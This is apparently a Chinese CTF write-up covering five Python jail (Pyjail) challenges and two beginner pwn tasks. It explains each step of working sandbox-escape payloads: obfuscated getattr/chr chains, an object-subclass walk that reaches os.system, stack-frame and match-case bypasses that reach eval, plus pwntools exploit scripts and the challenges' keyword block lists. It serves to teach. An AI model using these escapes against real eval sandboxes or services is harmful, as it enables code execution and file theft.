这里的 __builtins__ 是一个模块,它包含了 Python 的所有内置函数、异常和属性。我们熟悉的 print()len()open()ValueError 之类的东西都在这个模块里。Python 解释器会自动让 __builtins__ 内的内置函数在任何地方均可用,这也是为什么我们并不需要 import 什么东西就可以直接使用 print()。事实上,当我们调用 open() 时,Python 就是在 __builtins__ 中找到了它。

何为 getattr()

这里 getattr(object, name[, default]) 是一个内置函数,可用来动态获取一个对象的属性。其中,object 指从哪个对象获取属性,name 表示获取的属性的名字,default 返回一个属性不存在时的默认值,以代替 AttributeError 异常。比如说我们定义下面这样一个零音类:

1
2
3
4
5
class LyRin:
def patpat(self):
print("love")

lyrin_instance = LyRin()

在一般的 Python 实践中,我们可以直接通过 lyrin_instance.patpat() 调用零音实例的 patpat() 方法,但我们也可以用 getattr() 做到这一点。这里,我们有

1
2
3
method_name = 'patpat'
method = getattr(lyrin_instance, method_name)
method()

它等价于直接的调用。

如何实现关键词过滤?

我们再回过头看一下 src.py 中对 open 关键字的过滤:

1
if keyword in user_input:

注意到,它的关键字过滤是在 user_input 中匹配可能的 keyword,也就是说,它只会管 user_input 中连续出现的 open 四个字母。我们先前已经说过,由 getattr() 得到的对方法的调用,其 method_name 是一个字符串。既然是字符串,虽然它过滤了 open,但我们仍然可以用 'o'+'p'+'e'+'n' 将目标字符串拼接出来。

nc 连接远程服务器后,使用该 Payload 得到 flag

✅ Pyjail 2

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

# 过滤特殊字符
forbidden_chars = ['.', '_', '[', ']', "'", '"']
for char in forbidden_chars:
if char in user_input:
print(f"Forbidden character detected: {char}")
return

result = eval(user_input)

还把特殊字符屏蔽了?好在这次终于自带 __builtins__ 了,那还有啥好说的,想办法把特殊字符绕过就对了呗🤔只是这玩意绕过确实有点困难了。星澜音在这里直接给出 Payload:

1
print(getattr(getattr(getattr(globals(),chr(103)+chr(101)+chr(116))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))())

首先,我们的目标一定是执行这一行代码,「祖宗之法不可变」:

1
print(open('/tmp/flag.txt').read())

但是它既不能 open,也不能 .'"🤔怎么办呢?我们在 Pyjail 1 中讨论过,任何函数调用都可以转换为 getattr() 的形式,而 getattr() 的好处有很多:首先,它不会出现 .;其次,它的函数名是以 str 形式呈现的,而 str 的可操作性就大了:不仅可以像上次那样拼接,甚至可以用 chr() 的形式,直接输入其 ASCII 编码,让它在远程服务器转换为字母后再运行!

详细原理

根据「祖宗之法」,我们首先获取 open 函数。文件路径是相对碍事的,因为它自身还涉及到特殊符号,故我们先暂设 STR_FLAG_PATH"/tmp/flag.txt",先考虑函数调用的问题。我们从内到外地考虑,首先对于

1
open(STR_FLAG_PATH)

由于 open 是过滤关键字,不存在这样的一种方法可以直接调用 open() 函数,思来想去,还是要借用 getattr 之力,从 globals 中取出 open 来。上例中我们对 os._wrap_close.__init__ 函数取了 .__globals__ 来获得其全局命名空间,从而获得 __builtins__;但这一次 src.py 并没有屏蔽 eval()__builtins__,我们直接取 __main__ 函数的 .__globals__ 即可。这里的 Payload 更简单——只需 globals()

1
2
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': '_pyrepl', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x73d874193890>, '__spec__': ModuleSpec(name='_pyrepl.__main__', loader=<_frozen_importlib_external.SourceFileLoader object at 0x73d874193890>, origin='/usr/lib/python3.13/_pyrepl/__main__.py'), '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/usr/lib/python3.13/_pyrepl/__main__.py', '__cached__': '/usr/lib/python3.13/_pyrepl/__pycache__/__main__.cpython-313.pyc'}

这样,我们的当务之急就是进入 __builtins__ 了。不过,因为特殊字符串的问题,我们不能写 globals()['__builtins__'],也不能写 globals().get('__builtins__'),看来仍然需要 getattr() 发力:

1
getattr(globals(), 'get')('__builtins__')

诶等等…!__builtins__ 里不是有 _ 了吗?甚至 "get" 里也有了 ",太碍事了:无妨,我们暂设 STR_BUILTINS"__builtins__"STR_GET"get",稍后再处理。现在就变成了:

1
getattr(globals(), STR_GET)(STR_BUILTINS)

好耶!现在我们拿到了 __builtins__,我们就要获得它的 open() 函数。同样地,我们还是不能写 __builtins__.open()😡所以需要再次用 getattr(),得到

1
getattr(__builtins__, 'open')

暂设 STR_OPEN"open",将 __builtins__ 替换为上文,得到 open(STR_FLAG_PATH) 的最终形态:

1
getattr( getattr(globals(), STR_GET)(STR_BUILTINS) , STR_OPEN)

好长一串😖现在我们拿到了 open()。我们先调用 open

1
getattr( getattr(globals(), STR_GET)(STR_BUILTINS) , STR_OPEN)(STR_FLAG_PATH)

😎然后从返回的文件对象中获取 read 方法。同样我们还是不能用 .,所以只好再用一次 getattr() 了,暂设 STR_READ"read",得到

1
getattr( getattr( getattr(globals(), STR_GET)(STR_BUILTINS) , STR_OPEN)(STR_FLAG_PATH), STR_READ )()

接下来用 print() 返回结果。考虑到 print 没有被屏蔽,也不涉及特殊符号,直接加在外面就行。去除掉冗余的空格,有

1
print(getattr(getattr(getattr(globals(), STR_GET)(STR_BUILTINS), STR_OPEN)(STR_FLAG_PATH), STR_READ)())

好的,大体框架已经出来了,不过这里的 5 个 STR_ 如何处理呢?考虑到 5 个都是 str,既然拼接也行不通,那么就无脑上 chr() 转换和拼接了!我们写一个 string_to_chr() 函数充当转换器:

1
2
def string_to_chr(s):
return "+".join([f"chr({ord(c)})" for c in s])

将刚才的变量全部构造为 chr() 的形式:

1
2
3
4
5
CHR_GET = string_to_chr(STR_GET)
CHR_BUILTINS = string_to_chr(STR_BUILTINS)
CHR_OPEN = string_to_chr(STR_OPEN)
CHR_FLAG_PATH = string_to_chr(STR_FLAG_PATH)
CHR_READ = string_to_chr(STR_READ)

这是什么原理呢?举个例子,STR_GET 的值为 "get",转换到 CHR_GET 就变成了 'chr(103)+chr(101)+chr(116)';而将 chr() 拼接出的字符串当做参数传入 getattr() 时,并不需要外面包裹引号,所以可以直接裸传入函数!

这样,我们就构造出了 Payload:

1
print(getattr(getattr(getattr(globals(), CHR_GET)(CHR_BUILTINS), CHR_OPEN)(CHR_FLAG_PATH), CHR_READ)())

替换掉 5 个 CHR_ 即可。

✅ Pyjail 3

题目源码

1
2
3
4
5
6
7
8
9
10
11
def chall():
user_input = input("Give me your code: ")

try:
result = eval(user_input, {"__builtins__": None}, {})
# Hint: When __builtins__ is None, you need to be more creative...
print("Code executed successfully!")
if result is not None:
print(f"Return value: {result}")
except Exception as e:
print(f"Execution error: {type(e).__name__}: {e}")

这道题的 __builtins__ 变成了 None 了?这下我们没法直接用 osprint 这种东西了,必须另辟蹊径:

1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat /tmp/flag.txt")

Payload 解析

拆解这个 Payload:

首先看到 '',它是一个空字符串对象,我们使用 .__class__ 可以获得它的类,即 <class 'str'>,字符串类。我们用 .__base__ 获得它字符串类的基类(父类),在 Python 中几乎所有类都继承自 <class 'object'>,而 <class 'str'> 亦不例外。紧接着,我们再使用 .__subclasses__() 获得 object 类的所有直接子类,它会返回一个列表,列表中包含当前 Python 环境中所有可用的类(包括内置类、导入的模块中的类等)。如果你尝试过

1
''.__class__.__base__.__subclasses__()

可以得到输出如下(有省略):

1
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, ...]

接下来我们使用 for x in ... if x.__name=="_wrap_close" 来从上述所有子类中遍历名为 _wrap_close 的类。这里的 _wrap_closeos 模块中的一个非常不起眼的类,它用于包装文件关闭操作。虽然我们不直接用到 _wrap_close,尽管 _wrap_close 微不足道,但它也是 os 的一部分——拿到了 _wrap_close,就拿到了 os 模块的家门!

然后,我们使用了 x.__init__.__globals__。首先对于 os._wrap_close,获得它的 .__init__ 可以得到其构造函数 <function os._wrap_close.__init__(self, stream, proc)>;又因为它的构造函数与 _wrap_close 类定义在同一个模块中,所以它的构造函数的 .__globals__ 指向的也是这个模块的全局命名空间,而这个模块,恰好,就是 os!也就是说,我们拿到了 os 模块的全局命名空间中的一切,包括它导入的其他模块、模块自身定义的函数、类和变量等等。我们又知道,system 函数就定义于 os 内(os.system),这下好说了,直接用键 "system" 取出 os.system 函数就好😋在 Linux 的 Python 上,可以得到 os.system<built-in function system>,而 Windows 侧即 <function nt.system(command)>

有了函数,后面跟着 ("command") 就能调用了。

✅ Pyjail 4

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import ast
import base64

# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__", "__init__", "__getattribute__"
}
def visit_Attribute(self, node):
# 禁止危险属性访问
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise RuntimeError(f"Access to attribute '{node.attr}' is forbidden!")
self.generic_visit(node)

def chall():
user_input = input("Give me your code after base64 encoding it: ")
code = base64.b64decode(user_input).decode('utf-8')

if not user_input:
print("Empty input!")
return

try:
# 使用 AST 解析和验证代码
tree = ast.parse(code)
visitor = RestrictedNodeVisitor()
visitor.visit(tree)

# 创建受限的执行环境
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"Exception": Exception
}

safe_globals = {"__builtins__": safe_builtins}

# 执行用户代码
exec(code, safe_globals, {})

print("Code executed successfully!")

except SyntaxError as e:
print(f"Syntax Error: {e}")
except RuntimeError as e:
print(f"Runtime Error: {e}")
except Exception as e:
print(f"Execution Error: {type(e).__name__}: {e}")

遇到了一个相对比较棘手的情况:程序一上来禁用了 16 个属性,几乎封死了我们所有的常规路线;而可用的 __builtins__ 被限制到了可怜的 safe_builtins 的仅 5 个元素。我们几乎别无他法,只好从 safe_builtins 下手。考虑到 printfilter 之类的可利用性不高,listlen 也没法妙手回春,目光只能锁定到 Exception 上。没错,这道题就要使用 Exception,进行一次栈帧逃逸!

1
2
3
4
5
6
7
8
9
10
try:
raise Exception
except Exception as e:
tb = e.__traceback__
f = tb.tb_frame
f = f.f_back.f_back.f_back
b = f.f_builtins
open_fn = b.get('open')
with open_fn('/tmp/flag.txt', 'r') as fh:
print(fh.read())

原理解析

首先我们使用 try-except 块,在 try 中手动引起一次 Exception,然后在 except 中接收该 Exception 实例 e

接下来我们对该实例进行一次回溯——e.__traceback__ 可以获取该 Exception 的回溯对象 tb,它包含了调用栈的详细信息(如函数调用链)。再对 tb.tb_frame,从回溯对象中获取当前的帧对象(frame object),帧对象代表了执行栈中的一个特定点(例如函数调用时的状态)。

对于这个帧,我们多次访问它的 f_back 属性,便可以向上回溯整个调用栈。我们连续 3 次使用 f_back,便可以跳过当前的 Exception 处理帧和它的直接调用者,达到一个更外层的帧,这样便可以访问该帧的内置函数了😋

我们设回溯 3 次后的帧为 f,取 f.f_builtins 得到该帧的内置符号表(builtins)。先前我们讨论过 builtins ,现在知道里面有什么了吧😋直接打印 flag 就好。

✅ Pyjail 5

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import ast
import base64

# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
def visit_Attribute(self, node):
# 禁止属性访问
raise RuntimeError(f"Access to any attributes is forbidden!")

def chall():
user_input = input("Give me your code after base64 encoding it: ")
code = base64.b64decode(user_input).decode('utf-8')

if not user_input:
print("Empty input!")
return

try:
# 使用 AST 解析和验证代码
tree = ast.parse(code)
visitor = RestrictedNodeVisitor()
visitor.visit(tree)

# 创建受限的执行环境
# maybe useful
safe_builtins = {
"Exception": Exception,
"object": object,
}

safe_globals = {"__builtins__": safe_builtins}

# 执行用户代码
exec(code, safe_globals, {})

print("Code executed successfully!")

except SyntaxError as e:
print(f"Syntax Error: {e}")
except RuntimeError as e:
print(f"Runtime Error: {e}")
except Exception as e:
print(f"Execution Error: {type(e).__name__}: {e}")

遇到了更棘手的:整个 ast.Attribute 全~都用不了,甚至 __builtins__ 只有 Exceptionobject?!只需注意到:Exception 可以用来将 raise Exception(...)print(...) 用,那么这一切的一切,就应该从 object 下功夫了。这里给出 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
match object():
case object(__class__ = object_class):
match object_class:
case object(__class__ = type_class):
match object_class:
case type_class(__getattribute__ = getattribute_func):
subclasses_method = getattribute_func(object_class, '__subclasses__')
all_subclasses = subclasses_method()
for sc in all_subclasses:
sc_name = getattribute_func(sc, '__name__')
if sc_name == 'FileFinder':
init_func = getattribute_func(sc, '__init__')
globals_dict = getattribute_func(init_func, '__globals__')
builtins = getattribute_func(globals_dict, '__getitem__')('__builtins__')
eval_func = getattribute_func(builtins, '__getitem__')('eval')
expression = "open('/tmp/flag.txt').read()"
flag_content = eval_func(expression, globals_dict)
raise Exception(flag_content)

哼哼——「内省」、「反射」,要发力了!

在 Python 3.10 中引入了 match-case 语法,match 语句接受一个表达式,并把它的值与一个或多个 case 块给出的一系列模式进行比较,有点类似于 Rust 的模式匹配。我们先前说 Pyjail 5 的环境禁用了 ast.Attribute,这样看来直接访问属性或调用方法是无稽之谈;但 match-case 巧就巧在这里——

1
2
match object():
case object(__class__ = object_class):

这个平平无奇的匹配,会将 object 类绑定到 object_class 中!

具体来说,object() 创建了一个新的 object 实例;我们用 case object() 来匹配类型为 object 的这个 object 实例(这是一定可以成功的,因为 Python 中几乎所有对象的基类都是 object),一旦匹配成功,这个实例的 .__class__ 属性就会被绑定给变量 object_class。这有什么用呢?想想,如果我们没有 match-case 表达式,这两行代码或许是这么写的:

1
object_class = object().__class__

这会自然引出一个 ast.Attribute 的结构。但 match-case 不会,它本身属于 ast.Match 结构,来无影、去无踪,在行云流水之中完成了赋值,绕过了 ast.Attribute

那么,我们大概就明白了:一旦需要用到 ast.Attribute,我们就用 match-case 来曲线救国地赋值;并且,无论如何均能使用 case object(...),因为 Python 的对象几乎都继承自 object!我们的目标是:拿到 __getattribute__ 方法,得到 __subclasses__ 方法,拿到 object 的所有直接子类后,想一个办法拿到 __builtins__globals,这样就可以任意 eval 了!😋

Payload 解析

我们使用

1
2
match object():
case object(__class__ = object_class):

拿到 object 类本身。随后

1
2
match object_class:
case object(__class__ = type_class):

再将 object.__class__(即 object 的元类 type)匹配给 type_class。然后

1
2
match object_class:
case type_class(__getattribute__ = getattribute_func):

再次匹配 object__getattribute__ 方法用于属性查找,并绑定到变量 getattribute_func 中。下面

1
2
subclasses_method = getattribute_func(object_class, '__subclasses__')
all_subclasses = subclasses_method()

接下来,我们使用 getattribute_func 方法调用 object 类的 __subclasses__ 方法,该方法返回 object 的所有直接子类列表,然后再使用 subclasses_method() 获得全体子类,存储到 all_subclasses 中。随后

1
2
3
for sc in all_subclasses:
sc_name = getattribute_func(sc, '__name__')
if sc_name == 'FileFinder':

FileFinder 是 Python 中 importlib.machinery 模块中的一个类,用于文件查找和导入机制。对于 all_subclasses 中的所有子类 sc,我们遍历并使用 getattribute_func 获取每个子类的 __name__ 属性——如果子类名称为 'FileFinder',则进入 if 块。在 if 块中——

1
2
init_func = getattribute_func(sc, '__init__')
globals_dict = getattribute_func(init_func, '__globals__')

首先我们获取了 FileFinder 类的 __init__ 方法(即构造函数),然后获取了后者的 __globals__ 属性,该属性指向定义 FileFinder 的模块的全局命名空间 globals_dict,在这里:

1
2
builtins = getattribute_func(globals_dict, '__getitem__')('__builtins__')
eval_func = getattribute_func(builtins, '__getitem__')('eval')

我们从 globals.dict 中使用 __getitem__ 方法获取了 __builtins__ 的值,从内置的字典中,我们顺风顺水拿到了 eval 函数,并绑定了 eval_func。接下来的事,我们就都很熟悉了。

二进制漏洞审计 Pwn

星澜音是纯粹 0 基础入门 Pwn。其实和 Crypto 相比,入门 Pwn 也一样痛苦;但好在有一点计算机基础 再加上 AI 真的太好用了你们知道吗,所以做起来其实还觉得蛮有意思的。未来的星澜音会不会选择 Pwn?难说,走一步看一步吧。

✅ 0 二进制漏洞审计

手动用 nc 连接一次,明晰交互逻辑后即可直接修改题目的脚本。

Exploit 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(arch="amd64", os="linux", log_level="debug")

io = connect("127.0.0.1", 5896)

io.sendlineafter(b"password.", b"114511")

payload = p32(0xdeadbeef)
payload += b"shuijiangui"
io.sendafter(b"answer.", payload)

io.interactive()

题目列出了一些思考题,以及部分星澜音所好奇的点。下面给出这些题目的答案。

Pwntools 和远程服务器是如何 connect 的?是通过 SSH 连接吗?

答案

这其实是星澜音当时最理解不了的点之一。星澜音总认为 Pwntools 是通过类似于 SSH 连接一样的东西连接到远程服务器,然后模拟终端的输入、操作并将输出打回到用户端,但事实上并非如此。我们说,Pwntools 的 connect 是通过 非常底层的 TCP 连接 得到的。

在绝大多数 CTF Pwn 题目中,主办方会使用一种叫做 socatxinetd 的工具,它们在服务器上监听一个特定的 TCP 端口,一旦有客户端(比如我们的 Pwntools 脚本)尝试连接到这个端口,它们就会为这个连接启动一个 pwn 程序的全新实例,紧接着,将这个程序实例的 标准输入、标准输出和标准错误(也就是 stdinstdoutstderr,后面我们还会提到)完完全全地重新定向到这个网络连接上。这建立起了一个非常纯粹而双向的数据通道。

我们使用 Pwntools 去 send 数据,该数据会通过 TCP 连接发送到目标服务器,由对方的工具接收后,直接写入到 pwn 程序的标准输入中;而 pwn 程序通过 printfputs 打印出的数据,在写入到其标准输出后,也会由工具接收并通过 TCP 连接发送到我们的 Pwntools 端。

这一过程使用的是裸的 TCP/IP 套接字通信:TCP 协议将数据可靠地传递到另一端,但它完全不会修改数据或对数据进行任何的解释和修饰。而我们所说的 SSH 是一个应用层协议,它构建在 TCP 之上,目的是提供一个安全的、加密和认证的远程命令行会话。SSH 的交互是面向人类的、基于文本行的,它会加入大量控制字符和封装。

p32(0xdeadbeef)b"\xde\xad\xbe\xef"b"deadbeef" 有什么区别?

答案

这是出题人为我们留下的问题。

首先看 b"\xde\xad\xbe\xef"b"deadbeef",这二者均为 字节串b 表示将后面的东西当做字节处理。我们使用 Python 解释器即可一窥究竟。

1
2
3
4
5
6
7
8
9
In [3]: text_str = "helloworld"

In [4]: type(text_str)
Out[4]: str

In [5]: text_bytes = b"helloworld"

In [6]: type(text_bytes)
Out[6]: bytes

可以看到,对于共有部分 helloworld,前面有没有 b 参数会直接影响变量的类型。那么这两个字节串又有何区别呢?

对于 b"deadbeef"。它是一个 ASCII 字符字面量,这种表示方式下,引号内的每一个字符都代表其自身的 ASCII 编码值。Python 会取出引号中的每一个字符,将其转换为对应的 ASCII 码(一个字节),再组合成一个字节串。经过这样的处理,我们会得到一个长度为 8 的 bytes 对象。

对于 b"\xde\xad\xbe\xef,这实际上使用了转义序列:Python 会将一个 \x 后紧跟的两个十六进制数字,直接解析为一个字节的值。经过这样的处理,我们会得到一个长度为 4 的 bytes 对象。

那么 p32(0xdeadbeef) 呢?首先,0xdeadbeef 定义了一个十六进制表示的 32 位整数,而来自 Pwntools 的 p32 会将这个整数也打包为一个字节串。但它的打包结果与我们前面所提到的 b"\xde\xad\xbe\xef" 不同,或者说——恰好相反!因为 p32 函数会按照小端序(Little-Endian)的方式打包数据,它所打包的结果为 b'\xef\xbe\xad\xde'

「大端序」和「小端序」是两种不同的「端序 / 字节序」。大端序要求高位字节在前,正如我们书写数字一般,左边的数字是最高位;而小端序则要求低位字节在前,与我们的习惯相反。而 p32 的功能就是将一个 32 位整数打包为小端序字节串,由于它面向的平台是 x86 和 x86-64 架构的 CPU,因此 p32 就遵从这一习惯选择了小端序。

为何第二次 send 请求不使用 sendlineafter 而使用 sendafter

答案

倘若我们抛开 pwn 文件的内容,单纯从 Pwntools 的 DEBUG 输出中来看,也能窥见其中一二。在我们使用 sendafter 时,我们是直接对远程服务器发送了 p32(0xdeadbeef) + "shuijiangui" 这一串输入,用十六进制表示就是这样:

1
2
3
[DEBUG] Sent 0xf bytes:
00000000 ef be ad de 73 68 75 69 6a 69 61 6e 67 75 69 │····│shui│jian│gui│
0000000f

如此干净利落的 15 个字节。但一旦使用 sendlineafter,情况就变了!我们的输入变成了这样:

1
2
3
[DEBUG] Sent 0x10 bytes:
00000000 ef be ad de 73 68 75 69 6a 69 61 6e 67 75 69 0a │····│shui│jian│gui·│
00000010

我们可以清晰地看见,15 个字节之后又追加了一个字节 0x0a,它便是这 line 所带来的一个换行符。比如说我们进行终端操作,输入了长长一串命令之后敲一下回车,这个回车其实也会带来一个换行符,它追加在这一堆命令之后,被终端一齐送到标准输入(stdin)里。

那么为何这个 pwn 程序如此看重是否有这个换行符?我们打开 IDA Pro,直接展开逆向!

使用 IDA Pro 逆向程序

按下 F5 以命令 IDA Pro 尝试将汇编代码转换为伪代码,一般均为类 C 风格的代码。在第二次请求输入时,有如下代码片段:

1
2
3
4
5
6
7
puts("Right!Then,give the answer.");
read(0, buf, 0x64uLL);
if ( !(unsigned int)bypass(buf) )
{
puts("You are right!Now i give u what u want!");
backdoor();
}

在 Linux 系统调用中,read 是一个原始字节流读取函数,其原型为

1
ssize_t read(int fd, void buf[.count], size_t count);

根据 read(2) - Linux manual page 给出的解释:

read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

我们看到题目中的 read 指令:

1
read(0, buf, 0x64uLL);

它从 0(即标准输入 stdin)中读取 0x64 个字节(也就是 100 个字节)的数据,并存储在目标内存 buf 处。接下来,它携带 buf 作为参数,调用 bypass 函数。首先要注意的一点是,read 函数与我们所熟知的 scanffgets 等不同,它读取的是 原始字节流,并且会将自己读取到的东西 完整保留!它既不会向其他函数一样截断 x00,也不会跳过或转义空白字符或非打印字符。更重要的是,它仅会从 stdin 中取 100 个字节,然后将 stdin 的读取指针前移 100 个字节;至于 stdin 里是否还有其他等待着的数据,read 就不会再管了。

提示

准确来说,Linux 端的 read 函数的行为模式是这样的:首先它会一直阻塞(等待),直到输入缓冲区中有数据供它读取了。一旦有了数据,它就会开始读取,直到以下条件中任一成立,它就会返回(停止阻塞):

  · 已经读取了一定或指定数量的字节;
  · 读取到了文件的末尾(可能是 EOF 结束符);
  · 遇到了某些非阻塞的情况,没有更多内容可读。

换句话说,只要 fd 中有了数据,read 就拿上至多 count 字节的数据;哪怕拿到的数据长度远小于 count,它也会移动完读取指针后直接跑路!

接下来我们来看 bypass 函数:

1
2
3
4
5
6
7
8
9
__int64 __fastcall bypass(__int64 a1)
{
if ( !a1 )
return 0LL;
if ( *(_DWORD *)a1 == -559038737 && !strcmp((const char *)(a1 + 4), "shuijiangui") )
return 0LL;
puts("Something wrong.");
return 1LL;
}

a1buf 的起始地址,也就是一个指针。首先检验 a1 是否为空指针,然后:

  1. a1 强制转换为 _DWORD*(32 位无符号整数指针;这里的具体操作是,创建一个 _DWORD 指针,并将其指向 a1 的起始地址;也就是取 a1 的前 4 个字节)并解引用它,检验它的值是否等于 -559038737,或者十六进制的 DEADBEEF
  2. a1 从第 5 个字节开始(a1 + 4)强制转换为 const char(字符串;这里的具体操作是,创建一个 const char 指针,并将其指向 a1 + 4 这个地址),调用 strcmp(C 语言标准库中的字符串比较函数)对 (const char *)(a1 + 4)"shuijiangui" 进行比较。一般地,strcmp 会对两个字符串的第一个字符开始,逐个字节进行比较,直到遇到空字符 '\0' 或不相等的字符为止。

若二者均比对成功,则返回 0LL 表示 long long,这里是为了符合函数要求的返回类型 __int64)并进入 backdoor() 流程;否则输出 Something wrong. 并返回 1

这么说来我们便理解了:倘若我们使用的是 sendlineafter,它便会为我们的输入 shuijiangui 后附加一个 0x0a 换行符,这样的话,strcmp 就会认为第 2 个比较不成功了。

Pwntools 到底是如何让远程服务器继续下一步操作的?

答案

星澜音更困惑的点便在这里。倘若我们一般使用终端来操作 Linux 程序,我们的常规动作就是,在程序请求用户输入时打一堆文字进去,然后敲下回车键,这样程序就能进行下一步了。但为何这一次,我们使用 sendafter 直接发送了数据后,不需要回车键(换行符)就能让程序进行下一步操作?

这里我们需要引入一个概念:行缓冲(Line Buffering)机制。我们说缓冲区的类型有三种:全缓冲、行缓冲和无缓冲。

  • 全缓冲要求当填满 I/O 缓存后才进行实际 I/O 操作,其代表是对磁盘文件的读写;
  • 行缓冲要求在输入和输出中遇到换行符时,才执行真正的 I/O 操作。我们输入的字符会先放在缓冲区,按下回车键后才进行实际的 I/O 操作,其代表是标准输入和标准输出;
  • 无缓冲不会进行缓冲,例如标准错误。

一般来讲,我们使用的终端都被配置为了规范模式,也就是运行在行缓冲模式下,这也是为什么我们通常认为,输入完一个东西后,必须要回车才能进行下一步。每当我们敲下回车,终端就会将缓冲区内的数据送到标准输入里;但事实上,程序对于行缓冲是无感的:它不知道你在敲回车键之前是怎么输入的,输入了多少,它只知道标准输入不知为何突然多了一些东西,然后它从标准输入取回这些东西就好了。而标准输入也不总是来自一个配置为行缓冲的交互式终端;它可以来自很多地方,无论是文件重定向、管道、还是像 Pwntools 这样的网络套接字(Socket)。

对于本题的 pwn 程序而言,它也感受不到自己正在和网络交互,它只是通过 read 函数,从标准输入里读取数据罢了。通过网络套接字传输的数据是没有「行缓冲」这种概念的:你 send 了什么,它就 read 什么;这就够了。

✅ 1 ez_u64

题目源码

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int init()
{
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0, 0LL);
if ( fd < 0 )
{
puts("urandom");
exit(1);
}
read(fd, &num, 8uLL);
return close(fd);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 vuln()
{
__int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Ya hello! Let's play a game.");
printf("Guess which number I'm thinking of.");
printf("Here is the hint.");
write(1, &num, 8uLL);
printf("\n>");
__isoc99_scanf("%zu", &v1);
if ( v1 != num )
{
puts("Wrong answer!");
puts("Try pwntools u64?");
exit(1);
}
puts("Win!");
system("/bin/sh");
return v2 - __readfsqword(0x28u);
}

分析 vuln() 的代码逻辑:它在一阵输出后直接将 num 这 8 个字节的数据,以其原始、二进制、未经任何处理的形态写入到了标准输出内。我们截取这 8 个字节并转换为整数,发送到远端标准输入内即可。

Exploit 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(arch="amd64", os="linux", log_level="debug")

io = connect("127.0.0.1", 13580)

io.recvuntil(b"Here is the hint.")
leaked_bytes = io.read(8)
log.info(f"Leaked raw bytes: {leaked_bytes}")

the_number = u64(leaked_bytes)
log.info(f"Decoded number: {the_number}")

io.sendlineafter(b">", str(the_number))
io.interactive()